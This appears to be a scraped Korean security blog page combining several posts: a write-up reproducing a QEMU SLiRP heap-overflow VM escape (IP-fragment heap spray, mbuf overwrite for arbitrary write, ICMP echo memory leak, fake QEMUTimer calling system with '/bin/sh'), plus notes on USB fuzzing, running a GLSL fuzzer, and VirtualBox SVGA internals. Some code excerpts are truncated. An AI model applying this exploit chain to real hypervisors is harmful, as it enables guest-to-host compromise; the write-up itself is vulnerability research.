이제 힙 오버플로우를 통해 힙 구조를 조작할 수 있게 되었지만 여전히 malloc, free를 임의로 호출할 수 없다. 따라서 이들을 위해 primitive를 작성할 필요가 있다.

malloc primitive


해당 write-up을 보게 되면 malloc primitive를 IP Fragmentation을 통해 얻는 것을 확인할 수 있다. 아래 코드를 살펴보자.

// slirp/ip_input.c:184
         * If datagram marked as having more fragments
         * or if this is not the first fragment,
         * attempt reassembly; if it succeeds, proceed.
        if (ip->ip_tos & 1 || ip->ip_off) {
            ip = ip_reass(slirp, ip, fp);
                        if (ip == NULL)
            m = dtom(slirp, ip);
        } else
            if (fp)
                  ip_freef(slirp, fp);

ip_reass 에서 리턴값을 NULL로 받게 되면 바로 return 해버리기 때문에 m_buf가 그대로 남아있는 것을 확인할 수 있다. ip_reass에서 리턴값이 NULL이 되는 경우는 다음과 같다.

  1. fp == NULL
  2. insert로 이동
  3. 큐 확인 후 해당 fragment 패킷을 삽입하는 것이 불가능하다. -> NULL 반환

하지만 해당 루틴까지 오기 위해 거쳐야 할 체크들이 존재한다. (아래 체크들이 만족하면 문제가 되며 바로 m_free 루틴으로 향한다)

  1. m->m_len < sizeof (struct ip)
  2. ip->ip_v != IPVERSION
  3. hlen<sizeof(struct ip ) || hlen>m->m_len
  4. cksum(m,hlen)
  5. ip->ip_len < hlen
  6. m->m_len < ip->ip_len
  7. ip->ip_ttl == 0

마지막으로 ip->ip_off &~ IP_DF, ip->ip_tos & 1 || ip->ip_off 조건들도 만족해야 원하는 루틴을 트리거할 수 있다. 아래 코드를 작성하고 돌렸을 경우 malloc이 연속적으로 수행되면서 청크가 쌓인다.

packet = IP(src=ip_src, dst=ip_dst, frag=0, flags=0b001, proto=6, id=spray_id)
send(packet, verbose=False)

malloc과 free 함수들에 대해 후킹을 진행한 뒤 위의 코드를 반복적으로 실행하면 아래 결과들을 얻을 수 있다. (LD_PRELOAD를 통해 후킹을 진행한 뒤 진행하였다)

0x7f9c1c1997b0 : malloc(668) hooked
0x7f9c1c199e20 : malloc(668) hooked
0x7f9c1c19a490 : malloc(668) hooked
0x7f9c1c19ab00 : malloc(668) hooked
0x7f9c1c13a980 : malloc(668) hooked
0x7f9c1c13aff0 : malloc(668) hooked
0x7f9c1c13b660 : malloc(668) hooked
0x7f9c1c13bcd0 : malloc(668) hooked
0x7f9c1c13c340 : malloc(668) hooked
0x7f9c1c13c9b0 : malloc(668) hooked
0x7f9c1c13d020 : malloc(668) hooked
0x7f9c1c13d690 : malloc(668) hooked

위처럼 청크가 쌓이다가 아래 패턴이 반복된다.

0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
0x7f9c1c13d690 : malloc(668) hooked
0x7f9c1c13dd00 : malloc(668) hooked

한 청크 / bin에 대해 malloc과 free를 반복적으로 수행하나 malloc이 연속 3번으로 나와 청크가 쌓이는 것을 확인할 수 있다.

Arbitrary Write

Arbitrary write를 위해 mbuf를 할당받고 이를 heap overflow를 통해 덮어쓴 뒤 사용한다. 우선, 힙 레이아웃을 정리하여 mbuf를 할당받고 이를 덮어쓸 수 있게 해야 한다. 아래 과정을 통해 힙 레이아웃을 정리하였다.

  1. Malloc primitive로 0x2000짜리 heap spray (bin을 없애서 malloc을 차례대로 하면 차례대로 청크가 할당될 수 있도록 한다) (MTU 설정에 따라 크기가 달라지니 MTU 설정을 바꿔서 크기를 맞춰준다. (9000으로))
  2. sbuf->so_rcv 할당 받기 (0x2240짜리, 113 포트)
  3. Malloc primitive으로 mbuf 할당 받기 -> 0x2240 뒤에 할당됨

코드는 아래와 같다.


from pwn import *
from scapy.all import *

ip_src = ""
ip_dst = ""

p = None

def spray(spray_id):
    packet = IP(src=ip_src, dst=ip_dst, frag=0, flags=0b001, proto=6, id=spray_id)
    send(packet, verbose=False)

def send_to_113(data):
    global p
    p = remote(ip_dst, 113)

    for i in range(len(data) // 0x400):
    p.send(data[len(data) // 0x400 * 0x400:])

# do spray
spray_id = 0xaaaa
for i in range(0x100):




이 상태에서 입력을 더 넣게 되면 heap overflow가 발생하는 것을 확인할 수 있다. (아래 참조, 8바이트 + newline을 넣어 9바이트만큼 오버플로우가 발생하였다)

0x7f4da408da00:    0x4747474747474747    0x4747474747474747
0x7f4da408da10:    0x4747474747474747    0x4747474747474747
0x7f4da408da20:    0x4747474747474747    0x5050505050505050
0x7f4da408da30:    0x00007f4da408b10a    0x00007f4da408e0a0
0x7f4da408da40:    0x0000000000000000    0x0000000000000000
0x7f4da408da50:    0x000006080000000c    0x00007f4da4123620
0x7f4da408da60:    0x00007f4da408dad0    0x0000000000000000
0x7f4da408da70:    0x000056093a36a7b0    0x0000000000000000
0x7f4da408da80:    0xffffffffffffffff    0x0000000000000000

위의 과정을 통해 mbuf 구조체를 덮을 수 있고 이는 arbitrary write까지 연결된다. 아래 루틴을 활용할 것이다.

// slirp/ip_input.c:331
     * Reassembly is complete; concatenate fragments.
    q = fp->frag_link.next;
    m = dtom(slirp, q);

    q = (struct ipasfrag *) q->ipf_next;
    while (q != (struct ipasfrag*)&fp->frag_link) {
      struct mbuf *t = dtom(slirp, q);
      q = (struct ipasfrag *) q->ipf_next;
      m_cat(m, t);
// slirp/mbuf.c:129
 * Copy data from one mbuf to the end of
 * the other.. if result is too big for one mbuf, allocate
 * an M_EXT data segment
m_cat(struct mbuf *m, struct mbuf *n)
     * If there's no room, realloc
    if (M_FREEROOM(m) < n->m_len)
        m_inc(m, m->m_len + n->m_len);

    memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
    m->m_len += n->m_len;


ip_reass 의 루틴을 이용하여 m_cat을 호출할 수 있으며, m_cat 에서는 memcpy로 데이터를 복사하여 넣어준다. 이를 이용하여 arbitrary write를 얻을 수 있다. m_cat을 실행하는 것은 단순히 같은 ip id 에 대해 MF를 끈 상태로 패킷을 보내면 된다. 그러면 조작한 m_data와 m_len에 따라서 데이터가 복사되어 들어가게 된다.

Memory Leak

ICMP echo reply에 대한 rfc792 문서를 보게 되면 아래 내용을 확인할 수 있다.

The data received in the echo message must be returned in the echo reply message.

즉, 보낸 데이터를 그대로 다시 돌려준다는 것이다. 따라서 이를 이용하여 memory leak을 낼 것이다.

Arbitrary write에서 했던 것과 비슷하게 한다. 다만, 이번에는 m_data를 전체 다 덮는 것이 아니라 일부만 (하위 3바이트) 덮어서 메모리를 얻을 것이다. 익스플로잇 진행 흐름은 아래와 같다.

  1. m_buf를 partial overwrite해서 힙의 다른 위치를 가리키게 한다.
  2. MF=1로 ICMP request를 보낸다.
  3. sbuf에서 heap overflow를 일으켜서 m_data의 하위 3바이트를 덮는다.
  4. MF=0으로 ICMP request를 보낸다. (2와 같은 아이디로)

이를 통해 Host에 ICMP request를 보내면 echo reply로 게스트에 메모리 값들을 다시 보내주게 된다. 해당 데이터를 다시 받아 libc base 주소와 heap 주소를 얻으면 된다.

PC Control

PC Control의 경우 QEMUTimer를 이용하면 된다. 해당 코드는 아래와 같다.

// util/qemu-timer.c:68
struct QEMUTimerList {
    QEMUClock *clock;
    QemuMutex active_timers_lock;
    QEMUTimer *active_timers;
    QLIST_ENTRY(QEMUTimerList) list;
    QEMUTimerListNotifyCB *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    QemuEvent timers_done_ev;
// include/qemu/timer.h:83
struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;
    void *opaque;
    QEMUTimer *next;
    int attributes;
    int scale;
// util/qemu-timer.c:588
bool qemu_clock_run_timers(QEMUClockType type)
    return timerlist_run_timers(main_loop_tlg.tl[type]);

QEMU timer에 관한 코드들은 위와 같다. main_loop_tlg 에 저장되어 있는 Timer 리스트를 가지고 와서 해당 리스트에 있는 timer의 cb 함수를 호출하게 된다. 따라서 fake timer list를 만든 뒤에 main_loop_tlg 를 덮어서 가짜로 만든 리스트를 참조하게 하면 된다. 그러면 cb에 넣은 함수 포인터를 참조하여 함수를 실행하게 되고, 이를 이용하여 PC Control을 얻을 수 있다.

힙의 적당한 위치에 arbitrary write primitive를 이용하여 fake timer list를 작성하고 다시 arbitrary write를 통해 main_loop_tlg를 덮어 fake timer list를 가리키게 하면 된다. cb에 system 함수를 넣으면 system을 실행해준다. cb 에 system을 넣고 opaque 에 명령어를 입력하면 (ex - "/bin/sh") system에 opaque에 들어가 있는 인자를 넣고 실행시킨다. 이를 통해 system에 원하는 명령어를 넣어 실행시킬 수 있다.



SLiRP에서 발생하는 힙 오버플로우 취약점을 성공적으로 익스플로잇할 수 있었다. 처음에 scapy를 이용하여 익스플로잇을 재구성하다가 실패하였고 그 원인을 6일간 삽질한 끝에 MTU를 조정하지 않았기 때문임을 알 수 있었다. 결국에는 주어진 익스플로잇 코드를 오프셋과 구조를 다시 변경하여 세팅한 환경에서 작동할 수 있도록 재구성하였고, 그 결과 성공적으로 익스플로잇을 할 수 있었다.

시간 관계상 scapy로 익스플로잇 코드를 재구성하는 것은 하지 못하지만 그래도 QEMU의 네트워크에서 발생하는 취약점을 어떻게 익스플로잇할 수 있는지 배울 수 있었다. 네트워크 프로토콜을 잘 조작하면 malloc primitive 등 원하는 기능을 수행할 수 있도록 바꿀 수 있다는 것을 확인할 수 있었고, 배우기만 했지만 직접 해보지 않았던 리얼월드에서 익스플로잇을 성공적으로 수행하기 위한 heap spray 기법 등을 이번 기회를 통해 직접 해볼 수 있었다.

마지막으로 security mitigation들이 모두 걸려있어 익스플로잇이 힘든 바이너리에서 QEMUTimer를 이용하여 익스플로잇을 할 수 있다는 것을 이번 익스플로잇 분석을 통해 배울 수 있었다.

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V8 CVE-2020-6383 Exploit  (0) 2021.01.19


지극히 개인적인 의견만 들어가 있습니다.


이 문서에서는 QEMU USB에 대한 삽질 내용들을 다룬다. USB에 대한 퍼징 시도는 많지만 이를 VM 환경에서 수행한 사례가 많이 없기 때문에 USB 퍼저를 작성하려는 시도를 하려 한다. 또한, 그 시도에서 얻은 정보들을 이곳에 간략하게나마 정리하려 한다.


VM 환경에서의 퍼징

VM 환경에서 퍼징하는데 많은 어려움이 있는데 이를 정리하면 아래와 같다.

  1. High Overhead : 현실적으로 VM을 매 테스트케이스마다 껐다가 킬 수 없다. 따라서 VM을 켜놓은 상태에서 지속적인 (Persistent) 방법으로 퍼징을 수행해야 한다.
    1. 지속적인 방법으로 퍼징을 하려 한다면 퍼징 루프를 잘 설계해서 상태를 매 루프마다 원래대로 복구시켜줄 필요가 있다. 이는 테스트를 진행하는 사람이 져야 하는 위험이다. (Risk)
    2. 지속적인 방법에서 피드백을 지속적으로 제공해줄 수 있는 프록시 시스템이 필요하다.
    3. 테스트 하고 싶은 함수를 따로 고립시켜서 테스트 하는 방법도 있을 수 있겠지만 이는 생각보다 어렵다. 타겟의 전체적인 구조를 파악한 뒤에 시도해볼 만한 방법이다.
  2. QEMU 모드 등을 사용 불가능하다. (Nested virtualization 환경에서 테스트를 제대로 할 수 있을까)
  3. Instrumentation을 하는데 어려움이 많다. 컴파일 오류 등 여러 문제가 발생한다.

Interaction (Kernel)

기본적으로 실행 옵션에 USB를 주면 /sys/devices 아래 pciXXX 라는 이름으로 폴더가 생성된다. USB와 인터랙션을 하려면 해당하는 pci 디바이스에 찾아가서 resourceN에 r/w를 수행하면 된다. 일반적인 경우에는 open :arrow_right: mmap :arrow_right: memory r/w를 수행하는 방식으로 USB를 사용한다. 추가로 DMA 버퍼를 두는 경우가 있는데, 이 경우에는 mmap으로 추가로 페이지를 할당받은 뒤 mlock을 이용하여 swap out이 되지 않도록 막는다. (DMA 버퍼로 사용한다)

참고 : https://www.kernel.org/doc/Documentation/filesystems/sysfs-pci.txt

어떤 PCI 디바이스가 원하는 USB 디바이스인지 확인하기 위해 lspci 명령어를 사용할 수 있다. 해당 명령어를 실행하면 아래처럼 결과가 나온다.

vm@vm:/sys/devices/pci0000:00/0000:00:01.0$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB [Natoma/Triton II] (rev 01)
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

우리가 원하는 디바이스는 USB 디바이스이므로 00:01.2 디바이스를 참조하면 된다. 위 경우에는 해당 디바이스가 /sys/devices/pci0000:00/0000:00:01.2에 위치하게 된다.

만약에 디바이스가 PCI가 아닌 캐릭터 디바이스 레벨로 접근을 하고 싶다면 /dev/bus/usb 폴더 안을 찾아보면 된다. 디바이스가 제대로 인식되는지 확인하려면 lsusb 명령어를 실행하여 리스트에 디바이스가 있는지 확인하면 된다. 캐릭터 디바이스도 PCI 디바이스와 마찬가지로 mmap과 메모리 연산을 통해 접근할 수 있다.


Basic Structure

기본적으로 USB 에뮬레이터가 3가지 파트로 구성되어 있다.

  1. Raw data parsing
  2. State machine to track USB state
  3. Handler (read, can_read, event)

또한, 이들은 프런트엔드와 백엔드로 구성되어 있다. 아래 내용을 보자.

A character device may be used in multiplexing mode by multiple front-ends. Specify mux=on to enable this mode. A multiplexer is a "1:N" device, and here the "1" end is your specified chardev backend, and the "N" end is the various parts of QEMU that can talk to a chardev. If you create a chardev with id=myid and mux=on, QEMU will create a multiplexer with your specified ID, and you can then configure multiple front ends to use that chardev ID for their input/output. Up to four different front ends can be connected to a single multiplexed chardev. (Without multiplexing enabled, a chardev can only be used by a single front end.) For instance you could use this to allow a single stdio chardev to be used by two serial ports and the QEMU monitor

프런트엔드와 백엔드 사이엔 MUX가 있어서 하나의 백엔드에 여러 프런트엔드를 연결할 수 있는 것으로 보인다. 즉, char device 하나로 두개의 디바이스를 제어할 수 있게 되는 것이다. 아래 링크의 단축키로 MUX를 제어할 수 있다.



hw/usb/core.c에는 USB core 부분이 구현되어 있다. USB 탈부착이나 raw USB 패킷 파싱을 이 부분에서 진행한다.

dev-***, desc

각각의 디바이스에 해당하는 패킷을 처리하거나 특수한 에뮬레이션이 필요한 것들을 제공한다. 어떻게 보면 기본적인 드라이버 부분을 제공하는 것으로, 예를 들어 시리얼 통신의 경우 -serial 옵션을 주었을 경우 가상 디바이스를 생성해서 이를 에뮬레이션한다. 가상 디바이스에 들어오는 패킷들을 처리하거나 그에 맞는 동작들을 수행한다.


HCD (Host Controller Driver)에 해당하는 동작들을 수행한다. HCI 동작들을 수행하는 역할을 한다. USB 2.0, 3.0 등의 디바이스가 추가되었을 때 그에 알맞는 기능들을 수행한다.


전체적으로 state machine과 패킷 파싱 부분으로 깔끔하게 분리될 수 있고 각 부분이 워낙 명확하게 구현되어 있기 때문에 개발자가 실수할 부분이 많지가 않다. 그나마 취약점이 나올만한 부분이 HCD 쪽인데, 해당 부분을 테스트하기 힘들 뿐인 데다가 복잡도가 좀 있기 때문이다. 하지만 이 부분도 취약점이 나온 전적이 많지 않고 나왔더라도 임팩트가 낮은 취약점이어서 여기서 추가로 유의미한 취약점이 나올 수 있을지 의문이다.


지금까지 USB에 대해 분석하였고, QEMU에서 어떤 부분들을, 또 어떻게 에뮬레이션해서 서비스를 제공하는지 알아보았다. USB는 기본적으로 좋은 벡터지만 QEMU의 경우 워낙 명확하게 패킷들을 처리하고 또 보안쪽으로 많이 신경썼기 때문에 (디바이스에 대한 퍼저가 따로 존재할 정도) 취약점이 나오기 힘들 것으로 사료된다.

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VirtualBox SVGA  (0) 2021.01.19



이 문서는 VMware에서 glsl 퍼저를 돌리는 방법을 설명한다. Vulkan 드라이버가 작동하지 않을 때 어떻게 작동할 수 있을지에 대해 이야기한다.


퍼저 구조

퍼저는 전체적으로 서버와 클라이언트 구조로 되어 있다. 서버의 경우 클라이언트들을 웹 환경으로 관리할 수 있으며 클라이언트는 서버로부터 파일을 받아 이를 구동시키는 역할을 한다. 클라이언트의 경우 worker로 불리며 서버 웹 페이지를 이용하여 worker에 일을 할당할 수 있다.


서버의 경우 prebuilt binary (위 링크의 graphicsfuzz.zip)를 통해 구동할 수 있다. 압축을 풀고난 뒤 python/drivers에 가면 glsl-server가 있다. 해당 서버를 구동하면 된다.

예시 : glsl-server --port 31337 (pwd는 작업할 위치로 바이너리 위치와 상관 없이 따로 생성해야 한다)

클라이언트의 경우 마찬가지로 prebuilt binary (위 링크의 gles-worker-desktop.jar)가 있으며 이를 다운로드 받아서 실행시켜주어야 한다. VM guest 안에서 실행시켜주면 되며 마찬가지로 폴더를 하나 생성해서 그 안에서 실행시켜주면 된다.

예시 : java -ea -jar gles-worker-desktop.jar --server http://localhost:31337

자세한 퍼저 작동은 링크에 있다. 해당 문서의 Running the servergles-desktop-worker 파트를 보면 된다.


준비물은 간단하다. Release에 동봉되어 있는 (graphicsfuzz.zip) 셰이더 파일들을 준비해주면 된다. 해당 파일들을 통해 이후 단계에서 variant를 생성할 것이기 때문에 이를 미리 준비해놓자.

퍼저 구동

퍼저를 구동하기 위해서 3가지 단계를 거쳐야 한다.

  1. glsl-generate 실행
  2. glsl-server 실행, worker 실행
  3. worker에 job 할당


glsl-generate의 경우 shader family를 생성하는데 사용된다. 지금 단계에서 생성하는 shader family는 퍼징을 수행할 때 worker가 실행하는 입력으로 들어가게 된다. 아래 명령어를 통해 실행할 수 있다.

glsl-generate ../prebuilt/shaders/samples/100 ../prebuilt/shaders/samples/100 100 family_100 shaderfamilies

첫째로 reference와 donor를 요구하는데 둘 모두 같은 위치로 shader 파일들이 들어있는 폴더를 지정하면 된다.
둘째로 variant를 몇개 생성할 것인지 요구한다. 위 예시에서는 100을 주었다.
셋째로 variant 이름을 지정한다. 위에서는 family_100으로 주었다.
넷째로 variant를 만들 대상 폴더를 지정한다. 위에서는 shaderfamilies 폴더로 지정했으며, 해당 이름은 고정으로 필수로 shaderfamilies로 주어야 한다. (다른 이름을 사용할 경우 서버 실행에 옵션으로 주어야 한다)

glsl-server 실행

shaderfamilies가 있는 곳에 pwd를 옮기고 glsl-server를 실행한다. --port 옵션으로 포트를 지정할 수 있다.

서버를 실행하고 나면 http://<ip address>:<port>/webui로 웹 인터페이스를 볼 수 있다.

job 할당

Job 할당의 경우 Run shader families on workers를 선택한 후 worker와 shader families를 지정해주면 된다. 이 이전에 worker가 실행되어야 worker 목록에 나오게 된다.

Worker를 실행하는 방법은 매우 간단히 주어진 gles-worker-desktop.jar 를 실행하면 된다.

예시 : java -ea -jar gles-worker-desktop.jar

--server 옵션으로 서버를 지정할 수도 있다. webui가 열려있는 서버를 지정해주면 된다.

예시 : java -ea -jar gles-worker-desktop.jar --server http://localhost:31337

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AFLNET: A Greybox Fuzzer for Network Protocols  (0) 2021.01.19


VirtualBox의 디스플레이 세팅을 보게 되면 Graphicss Controller와 Acceleration 세팅이 있다. 해당 컨트롤러에서 VMSVGA를 선택하면 SVGA를 사용하게 된다. Linux를 OS로 선택하면 3D acceleration 옵션까지 켤 수 있다.

이 문서에서는 SVGA의 내부 구조와 작동 방식에 대해 설명한다.


Graphics Device Architecture

SVGA는 해당 옵션이 켜져 있을 때 게스트에서 해당 디바이스의 커널 드라이버를 통해 접근할 수 있다. 크게 두 방법으로 접근 가능한데, (1) MMIO를 통한 FIFO 메모리 접근, (2) Port I/O를 통한 SVGA Register 접근이 가능하다. 해당 두 상태를 설정해놓으면 VM 구현 코드에서 데이터를 가져가 상태에 맞는 기능을 수행하게 된다. 위 그림의 경우 VMware 기준으로 설명이 되어 있지만 VirtualBox도 동일한 방식으로 작동한다.

SVGA Structure and Port I/O

SVGA의 경우 게스트 입장에서는 PCI 디바이스를 통해 접근할 수 있다. 위 도식에서 BAR 0, 1, 2는 각각 I/O 포트 번호, 글로벌 프레임 버퍼의 물리 주소, FIFO의 물리 주소를 나타낸다. IRQ의 경우 Interrupt Request의 약자로 인터럽트가 들어오는 것을 처리하는데 사용된다. I/O를 처리하는 것을 아래 코드로 살펴보자.

// VBox/Graphics/DevVGA.cpp:6661
pThis->hIoPortVmSvga    = NIL_IOMIOPORTHANDLE;
pThis->hMmio2VmSvgaFifo = NIL_PGMMMIO2HANDLE;
if (pThis->fVMSVGAEnabled)
    /* Register the io command ports. */
    rc = PDMDevHlpPCIIORegionCreateIo(pDevIns, pThis->pciRegions.iIO, 0x10, vmsvgaIOWrite, vmsvgaIORead, NULL /*pvUser*/,
                                      "VMSVGA", NULL /*paExtDescs*/, &pThis->hIoPortVmSvga);
    AssertRCReturn(rc, rc);

    rc = PDMDevHlpPCIIORegionCreateMmio2Ex(pDevIns, pThis->pciRegions.iFIFO, pThis->svga.cbFIFO,
                                           PCI_ADDRESS_SPACE_MEM, 0 /*fFlags*/, vmsvgaR3PciIORegionFifoMapUnmap,
                                           "VMSVGA-FIFO", (void **)&pThisCC->svga.pau32FIFO, &pThis->hMmio2VmSvgaFifo);
    AssertRCReturn(rc, PDMDevHlpVMSetError(pDevIns, rc, RT_SRC_POS,
                                           N_("Failed to create VMSVGA FIFO (%u bytes)"), pThis->svga.cbFIFO));

    pPciDev->pfnRegionLoadChangeHookR3 = vgaR3PciRegionLoadChangeHook;

위 코드에서 I/O 핸들링을 어떻게 하는지, FIFO MMIO를 어떻게 처리할지에 대한 설정을 하고 있음을 확인할 수 있다. VRAM의 경우에는 VMSVGA 세팅에 상관없이 VGA에서 처리한다.

// VBox/Devices/Graphics/DevVGA.cpp:6680
 * Allocate VRAM and create a PCI region for it.
rc = PDMDevHlpPCIIORegionCreateMmio2Ex(pDevIns, pThis->pciRegions.iVRAM, pThis->vram_size,
                                       PCI_ADDRESS_SPACE_MEM_PREFETCH, 0 /*fFlags*/, vgaR3PciIORegionVRamMapUnmap,
                                       "VRam", (void **)&pThisCC->pbVRam, &pThis->hMmio2VRam);
AssertLogRelRCReturn(rc, PDMDevHlpVMSetError(pDevIns, rc, RT_SRC_POS,
                                                 N_("Failed to allocate %u bytes of VRAM"), pThis->vram_size));

SVGA Handling

SVGA I/O나 MMIO로 접근하게 되면 vmsvgaIORead, vmsvgaIOWrite 콜백 함수들에서 해당 데이터들을 처리하게 된다. 들어오는 포트에 따라 이를 처리하는 루틴이 달라진다.

// VBox/Devices/Graphics/DevVGA-SVGA.cpp:2037
 * @callback_method_impl{FNIOMIOPORTNEWIN}
DECLCALLBACK(VBOXSTRICTRC) vmsvgaIORead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT offPort, uint32_t *pu32, unsigned cb)

    /* Only dword accesses. */
    if (cb == 4)
        switch (offPort)
            case SVGA_INDEX_PORT:
                *pu32 = pThis->svga.u32IndexReg;

            case SVGA_VALUE_PORT:
                return vmsvgaReadPort(pDevIns, pThis, pu32);

            case SVGA_BIOS_PORT:
                Log(("Ignoring BIOS port read\n"));
                *pu32 = 0;

            case SVGA_IRQSTATUS_PORT:
                LogFlow(("vmsvgaIORead: SVGA_IRQSTATUS_PORT %x\n", pThis->svga.u32IrqStatus));
                *pu32 = pThis->svga.u32IrqStatus;

                ASSERT_GUEST_MSG_FAILED(("vmsvgaIORead: Unknown register %u was read from.\n", offPort));
                *pu32 = UINT32_MAX;
        Log(("Ignoring non-dword I/O port read at %x cb=%d\n", offPort, cb));
        *pu32 = UINT32_MAX;
    return VINF_SUCCESS;

vmsvgaReadPortvmsvgaWritePort에서는 SVGA Register 값들을 세팅하게 된다. 예를들어, SVGA_REG_ID로 값을 읽으려 시도하면 SVGA id가 리턴된다.

반면에 FIFO 메모리와 VRAM의 경우 직접 해당 메모리 영역에 값을 쓰게 된다. (각각 pThisCC->svga.pau32FIFO, pThisCC->pbVRam) FIFO의 경우 이후 FIFO loop에서 커맨드를 하나씩 잘라서 처리하게 된다.


게스트 입장에서 SVGA 디바이스에 접근할 때에는 PCI 디바이스를 통해 접근할 수 있다. 게스트 입장에서 볼 수 있는 PCI 디바이스는 다음과 같다.

vm@vm:~$ lspci
00:02.0 VGA compatible controller: VMware SVGA II Adapter

코드상으로 해당 PCI 디바이스를 찾아 연결하기 위해서 vendor와 device id를 맞춰주어야 한다. 해당 id들은 svga_reg.h에 정의되어 있다.

// VBox/Devices/Graphics/vmsvga/svga_reg.h:41
 * PCI device IDs.
#define PCI_VENDOR_ID_VMWARE            0x15AD
#define PCI_DEVICE_ID_VMWARE_SVGA2      0x0405

코드상으로 연결하는 방법은 다양한 방법이 있지만 libpciaccess를 이용하여 연결하는 예시 코드는 아래와 같다.

// https://github.com/renorobert/virtualbox-vmsvga-bugs/blob/master/CVE-2017-10210/svga.c
int conf_svga_device(void)
    struct pci_device *dev;
    struct pci_device_iterator *iter;
    struct pci_id_match match;
    uint16_t command;

    if (getuid() != 0 || geteuid() != 0) 
        errx(EXIT_FAILURE, "[!] Run program as root");


    if (pci_system_init())
        return -1;

    match.vendor_id = PCI_VENDOR_ID_VMWARE;
    match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2;
    match.subvendor_id = PCI_MATCH_ANY;
    match.subdevice_id = PCI_MATCH_ANY;
    match.device_class = 0;
    match.device_class_mask = 0;

    iter = pci_id_match_iterator_create(&match);
    dev = pci_device_next(iter);

    if (dev == NULL) {
        return -1;


    gSVGA.ioBase = dev->regions[0].base_addr;
    gSVGA.fbMem = (void *)dev->regions[1].base_addr;
    gSVGA.fifoMem = (void *)dev->regions[2].base_addr;

    command = pci_device_cfg_read_u16(dev, 0, 4);
    pci_device_cfg_write_u16(dev, command | 7, 4);

    SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2);
    SVGA_WriteReg(SVGA_REG_ENABLE, true);

    gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE);
    gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE);
    gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE);

    pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize,
            PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem);
    pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize,
            PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem);


    return 0;

FIFO Command Handling

FIFO buffer로 MMIO를 수행하게 되면 FIFO loop (vmsvgaR3FifoLoop)에서 커맨드로 잘라서 해당하는 커맨드를 수행하게 된다. 기본적으로 커맨드 구조는 아래를 따른다.

  1. 커맨드 넘버

    // VBox/Devices/Graphics/vmsvga/svga_reg.h:1010
    typedef enum {
    SVGA_CMD_INVALID_CMD           = 0,
    SVGA_CMD_UPDATE                = 1,
    SVGA_CMD_RECT_COPY             = 3,
    SVGA_CMD_DEFINE_CURSOR         = 19,
    SVGA_CMD_UPDATE_VERBOSE        = 25,
    SVGA_CMD_FRONT_ROP_FILL        = 29,
    SVGA_CMD_FENCE                 = 30,
    SVGA_CMD_ESCAPE                = 33,
    SVGA_CMD_DEFINE_SCREEN         = 34,
    SVGA_CMD_DESTROY_SCREEN        = 35,
    SVGA_CMD_DEFINE_GMRFB          = 36,
    SVGA_CMD_DEFINE_GMR2           = 41,
    SVGA_CMD_REMAP_GMR2            = 42,
    } SVGAFifoCmdId;
    // VBox/Devices/Graphics/vmsvga/svga3d\_reg.h:1031  
    #define SVGA\_3D\_CMD\_LEGACY\_BASE 1000  
    #define SVGA\_3D\_CMD\_BASE 1040
    #define SVGA\_3D\_CMD\_SURFACE\_DEFINE SVGA\_3D\_CMD\_BASE + 0 // Deprecated  
    #define SVGA\_3D\_CMD\_SURFACE\_DESTROY SVGA\_3D\_CMD\_BASE + 1  
    #define SVGA\_3D\_CMD\_SURFACE\_COPY SVGA\_3D\_CMD\_BASE + 2  
    #define SVGA\_3D\_CMD\_SURFACE\_DMA SVGA\_3D\_CMD\_BASE + 4  
    #define SVGA\_3D\_CMD\_CONTEXT\_DEFINE SVGA\_3D\_CMD\_BASE + 5  
    #define SVGA\_3D\_CMD\_CONTEXT\_DESTROY SVGA\_3D\_CMD\_BASE + 6  
    #define SVGA\_3D\_CMD\_SETTRANSFORM SVGA\_3D\_CMD\_BASE + 7  
    #define SVGA\_3D\_CMD\_SETZRANGE SVGA\_3D\_CMD\_BASE + 8  
    #define SVGA\_3D\_CMD\_SETMATERIAL SVGA\_3D\_CMD\_BASE + 12  
    #define SVGA\_3D\_CMD\_SETLIGHTDATA SVGA\_3D\_CMD\_BASE + 13  
    #define SVGA\_3D\_CMD\_SETVIEWPORT SVGA\_3D\_CMD\_BASE + 15  
    #define SVGA\_3D\_CMD\_SETCLIPPLANE SVGA\_3D\_CMD\_BASE + 16  
